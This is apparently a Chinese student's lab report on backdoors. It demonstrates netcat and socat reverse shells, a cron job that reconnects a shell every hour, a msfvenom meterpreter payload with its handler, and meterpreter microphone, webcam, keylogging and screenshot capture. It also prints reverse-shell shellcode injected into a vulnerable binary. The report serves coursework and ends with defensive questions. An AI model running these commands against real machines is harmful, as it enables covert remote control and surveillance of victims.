Exp 2 后门原理与实践

一. 实验准备

(一)   理解实验原理

  1. 后门概念

  • 广义概念
    • 后门就是不经过正常认证流程而访问系统的通道
  • 哪里有后门
    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
  • 狭义的后门概念
    • 特指潜伏于操作系统中专门做后门的一个程序,
    • “坏人”可以连接这个程序
    • 远程执行各种指令。
    • 概念和木马有重叠

2.常用后门工具

  • NC 或 netcat
    • netcat,又名nc,ncat
    • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • Windows: 系统不自带,需要下载安装
    • Mac: 系统自带,"man nc",查看其使用说明。
  • meterpreter
    • 专门做远程连接、远程控制的一个软件

3.基本思路

  • 首先得有这么一个程序
  • 其次得放到系统里
  • 再次还得运行起来
  • 最后还得不被本机的恶意代码检测程序发现
  • 也不能被本机的或网络上的防火墙发现

(二)   在Windows上安装nc并使用

  •  Windows不自带nc,需要自行安装。在附件下载的ncat.rar压缩包解压后,双击ncat.exe会出现闪退的问题,但是并不影响使用。
  • 1.Win获得Linux Shell

    • 在kali中输入指令/sbin/ifconfig 获得kali的ip地址为192.168.1.128(若是直接使用ifconfig ,则会提示未找到命令,原因在于ifconfig命令所在路径/sbin未包含在系统环境变量PATH)

    • 在windows的cmd.exe中输入命令ipconfig ,得到ip地址为192.168.1.106

    • 关闭kali里的防火墙,输入命令 sudo apt-get install ufw 、 sudo ufw disable 

    • windows 打开监听:windows的cmd.exe下输入 c:\your_nc_dir>ncat.exe -l -p 8888 

              (需要注意的是,在此处需要先使用cd命令,进入ncat.exe所在的文件夹)

    • Linux反弹连接win:Linux端输入 nc windows的ip 8888 -e /bin/sh 

(windows的ip地址为192.168.1.106)

    • windows下获得一个linux shell,可运行任何指令,如ip add
  • 2.Linux获得Win Shell

    • Linux运行监听指令:linux端输入 nc -l -p 8888 

    • Windows反弹连接Linux:windows端输入 c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_linux 8888 

    • Linux下看到Windows的命令提示

 

二.实验过程

(一)使用netcat获取主机操作Shell,cron启动 

  • 1.Windows端打开监听:输入命令 c:\your_nc_dir>ncat.exe -l -p 5311 

  • 2.Linux端:cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制。输入 crontab -e ,选择3,然后在文件的最后一行添加 40 * * * * /bin/netcat 192.168.1.106 5311 -e /bin/sh ,意为在每小时的第40分钟时反弹连接

  • 3.在40min时验证结果

(二)使用socat获取主机操作Shell, 任务计划启动

socat是一个多功能的网络工具,可以看作是netcat的加强版,主要特点就是在两个数据流之间建立通道。

  • 1.windows端:从附件中下载socat压缩包,并进行下图所示步骤

            此电脑-->右键“管理”->创建任务->分别设置常规、触发器、操作

    

 成功后如下图所示:(到达预先设置的时间时,会跳出窗口)

 

  • 2.Linux端:输入 socat - tcp:192.168.1.106:5312 ,发现可以获得Windows的shell

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 1.Linux端:输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=5313 -f exe > 4312_backdoor.exe ,生成可执行文件

  • 2.Windows端:输入 ncat.exe -lv 5313 > 4312_backdoor.exe ,在Linux端下输入 nc 192.168.1.106 5313< 4312_backdoor.exe 

  • 3.查看文件是否成功传输(成功在windows上找到文件)

  • 4.Linux端:使用 msfconsole 进入msf控制台,并且输入下列命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.128    //Linux的ip
set LPORT 5313
exploit

  • 5.Windows端:在关闭各项防护软件以后,双击从Linux传到Windows的文件4312_backdoor.exe
  • 6.Linux端:发现可以获得Windows的shell

(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 1.获取目标主机音频

输入 record_mic -d 5 ,获取5s的录音。运行结果可以看到保存路径。

  • 2.获取摄像头权限

输入 webcam_snap ,控制主机拍照,可看到照片保存路径

  • 3.获取击键记录

输入 keyscan_start 、 keyscan_dump 获取击键记录

  • 4.获取截屏权限

输入 screenshot ,可获得屏幕截图

  • 5.提权

输入 getuid 查看用户, getsystem 进行提权。(提权失败,尝试他人所说方法并未成功)

(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 1.打开一个终端,输入 echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
  • 2.根据得到的机器码,构建input9文件。根据实验一学到的知识,可以知道返回地址为0xffe1b210,把这个地址加在这段shellcode前面
perl -e 'print "A" x 32;print"\x10\xb2\xe1\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input9

  • 3.然后在另一个终端总打开 msfconsole ,打开监听,输入下列命令
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          
show options
exploit
  • 4.在原来的终端输入 (cat input9;cat) | ./pwn9 ,并按回车

  • 5.最后一步,在另外一个终端检查是否得到了shell,然而并未得到......以失败结束

三.实验总结

  • 1.实验体会

       本来以为此次实验应该是比较顺利的,但是并没有。实验中间也遇到了比较多的问题,如果同学博客里没有的话,就是自己查百度来解决问题,感觉道路曲折,但是也学到了一定的知识。此外,还感受到了技术的可怕之处,录音、获取摄像头权限、获得击键记录等等,实在是让人害怕。还有就是特别感谢同学们的博客给了我很大帮助!

       对于实验中有两处失败(提权和shellcode注入pwn1),我觉得可能是自己对原理的理解不够深刻,导致到底哪里出现了差错没有弄明白。

  • 2.困难总结

   (1)Linux没有ip地址。尝试了百度上各种各样的方法,比如更改/etc/network/interfaces文件里内容等等,都没有效果,还导致之前能用的apt-get update等功能无法使用,最后通过虚拟机里菜单栏的编辑->虚拟网络编辑器->还原默认设置,解决了问题。

   (2)Linux上生成的可执行文件在Windows上运行时,刚开始没有权限,后来又说该文件含病毒,无法执行,关掉防火墙、windows defender和360仍然无法运行,后来乱折腾一气,也不知道原因在哪,最终能运行了。

四.思考题

  • 1.例举你能想到的一个后门进入到你系统中的可能方式? 

答:点击网络链接,进入不可靠的网页,即使并没有主动下载程序,也可能会有恶意软件被安装在电脑上,如网页木马。

  • 2.例举你知道的后门如何启动起来(win及linux)的方式? 

答:Windows的话,有开机自启动、运行某软件时启动;关于Linux,比如本实验中用到的cron机制,锁屏时启动。

  • 3.Meterpreter有哪些给你映像深刻的功能?

答:本次实验中使用的都是比较深刻的了。录音、获取摄像头权限、击键记录、屏幕截屏等操作。

  • 4.如何发现自己有系统有没有被安装后门?

       答:目前我们能做的就是提高安全意识,安装杀毒软件,经常给系统打补丁等,也可以用抓包软件进行抓包,查看是否有不正常链接。

 

posted @ 2020-03-22 20:05  zhaiying0000  阅读(205)  评论(0编辑  收藏